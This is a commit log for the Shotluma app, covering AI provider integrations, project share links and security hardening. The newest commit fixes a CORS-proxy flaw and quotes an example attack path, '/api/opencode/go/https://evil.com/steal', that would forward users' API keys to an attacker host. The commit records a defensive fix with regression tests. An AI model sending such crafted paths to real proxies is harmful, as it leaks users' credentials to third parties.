13 Commits

Author SHA1 Message Date
b76f1f3593 fix(security): pin the OpenCode CORS proxy to opencode.ai upstreams
A request path like /api/opencode/go/https://evil.com/steal made
joinUpstream's `new URL(relative, base)` discard `base` entirely
(WHATWG URL semantics for an absolute URL segment), so the proxy would
forward the request's authorization/x-api-key/x-goog-api-key headers
to an attacker-chosen host instead of opencode.ai. This runs live in
production via scripts/shotluma-worker.ts on app.shotluma.com.

Reject any resolved upstream whose origin does not match the intended
opencode.ai origin, and add regression tests covering absolute,
protocol-relative, and plain adversarial path segments plus a
worker-level test asserting no outbound fetch happens for the crafted
path.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
2026-10-20 16:09:51 +03:00
Enderson Vizcaino
952cd42c0b
fix(ai): send x-opencode-session on every OpenCode request (#23)
* fix(ai): send x-opencode-session on every OpenCode request

OpenCode Go and Zen require a stable per-conversation session id in the
x-opencode-session header so the gateway can route traffic and reuse prompt
caches (https://opencode.ai/docs/go/#where-can-i-use-it). Without it the
gateway answers "Request is missing x-opencode-session and cannot be routed
efficiently" and the run fails.

- build one module-scope session id per browser session and pass it through
  headers to all four OpenCode dialects (responses, chat, messages, google),
  which also covers the vision describer
- forward the header through the hosted Cloudflare Worker proxy, whose
  allowlist previously stripped it; the Vite dev proxy already forwarded it

* fix(ai): keep the OpenCode session id stable across reloads

The module-scope session id was regenerated on every full page load, so
reloads dropped the stable identity the OpenCode gateway needs for routing
and prompt caching.

Read the id from sessionStorage, generate one when none is stored, and
persist it; a fresh tab still gets its own id, which keeps sharding traffic
across clients. Storage that is unavailable or throws falls back to a
per-page-load id instead of failing the request.
2026-10-19 23:16:55 +02:00
mahmoud
bc1fb094a4
feat(share): project share links with short URLs and OG previews (#21)
* feat(share): add project share links with short URLs and OG previews

Projects can be shared as links from the project menu. The share payload is
the whole project as deflate-raw compressed JSON with every image inlined,
capped at export resolution and re-encoded as WebP when smaller.

Short /s/<id> links store the payload opaquely in Cloudflare KV (90-day TTL,
10 MB cap) through a share API running as the script of the existing
shotluma-app Worker; /s/<id> also serves per-share Open Graph tags with a
client-rendered 1200x630 unfurl image composed from the live artboards.
When the share API is unreachable the link degrades to a self-contained
#share= fragment that carries the payload itself.

Opening a link imports an independent local copy, so the recipient can edit
or delete without affecting the sender. Share payloads are treated as
untrusted input: decoding re-sanitizes AI screen markup and rich text, drops
malformed records and unsafe image schemes, and caps decompressed size. The
import consumes the URL exactly once and is cached module-wide because React
StrictMode double-invokes the hydration effect in development.

* fix(share): harden share flow after review

- Add request timeouts to all share API calls so a stalled Worker degrades
  to the inline fallback instead of hanging the dialog or the import.
- Strip the static og:/twitter: tags from index.html before injecting
  per-share tags; crawlers honor the first tag they see. Propagate a failed
  asset fetch instead of serving its body as a 200 page.
- Reject oversized uploads from the content-length header before buffering,
  add x-content-type-options: nosniff to stored-bytes responses, and add an
  optional per-IP rate-limit binding for share writes.
- Settle the one-shot shared import after it is applied so a re-run of the
  hydration effect cannot re-apply the imported project, and surface a toast
  when hydration fails after the share fragment was already consumed.
- Track clipboard failures separately in the share dialog, keep the link
  visible, and offer a selectable fallback field.
- Give dropped project-name words a visible ellipsis in the OG preview.
- Document the #s= fragment as a consumed compatibility format.
2026-08-20 19:37:22 +02:00
mahmoud
5bccd8338b
feat(ai): add OpenCode Zen and Go providers (#18)
* feat(ai): add OpenCode Zen and Go providers

Add OpenCode as a key-based provider with shared Zen/Go credentials, a same-origin CORS proxy, runtime model catalogs, and a vision-model fallback that describes screenshots for text-only coding models.

* fix(ai): keep OpenCode Zen/Go path prefixes when proxying

Absolute /v1/... suffixes were resolved against the OpenCode origin and dropped /zen and /zen/go. Join relative to those prefixes in the worker and Vite rewrites.


* chore(deps): bump nanoid override to 3.3.18

Clear GHSA-2v37-7h3g-55p8 so bun audit can pass. The previous 3.3.17 pin is now reported as vulnerable.

* fix(ai): surface run status events and cache image descriptions across steps

OpenCode text-only models describe screenshots with a vision model before
generating. The modal dropped 'status' run events, so the band showed
'Starting up …' for the whole describe phase, and each tool-loop step
re-described every image from scratch because the description cache lived
only one prepare call.


* refactor(ai): enhance OpenCode model handling and proxy functionality

* fix: allow images to be used in devices

* fix(ai): defer vision fallback, harden image cache keys, and remount model browser per provider

Address CodeRabbit review on #18:
- resolve the OpenCode vision describer only once a prepared step contains
  an image, so text-only models run image-free requests without a fallback
- relay tool preview images whenever the vision fallback is active, not
  only for chat-dialect models
- hash full binary payloads for image description cache keys so distinct
  same-length images are described separately
- build the unavailable-transport error from the selected provider
- remount AiCatalogModelBrowser per provider so catalogs never leak
  between OpenRouter and OpenCode gateways
- bound the OpenCode catalog fetch with a 10s timeout and guard the
  catalog-revision state update after unmount
- correct the worker key-handling doc and the vision-default comment
2026-08-20 01:10:05 +02:00
mahmoud
ca6b2e556b
feat(ai): reduce screenshot generation token usage (#17) 2026-08-11 22:52:10 +02:00
mahmoud
4feeab6b4b
feat(ai): add ChatGPT Codex bridge (#15)
* feat(ai): add ChatGPT Codex bridge

* fix(ai): harden Codex bridge lifecycle
2026-08-09 01:49:57 +02:00
realZachi
77382a978d build: deploy editor separately on Cloudflare 2026-08-04 00:02:54 +02:00
realZachi
38afa83d43 fix(ai): harden browser provider key handling 2026-08-04 00:00:46 +02:00
realZachi
1d90f6f8c8 feat: rebrand app as Shotluma 2026-08-04 00:00:36 +02:00
realZachi
edda863374 chore: update architecture and UI guidelines to remove hard limits on complexity and stylesheet size 2026-07-23 21:48:59 +02:00
realZachi
0bd9cc3b39 feat(ai): add opt-in local run logging 2026-07-23 17:26:38 +02:00
realZachi
1b475013b1 fix: normalize editor typography 2026-07-23 17:19:03 +02:00
realZachi
6394d2e88b chore: validate stylesheet boundaries 2026-07-23 15:21:13 +02:00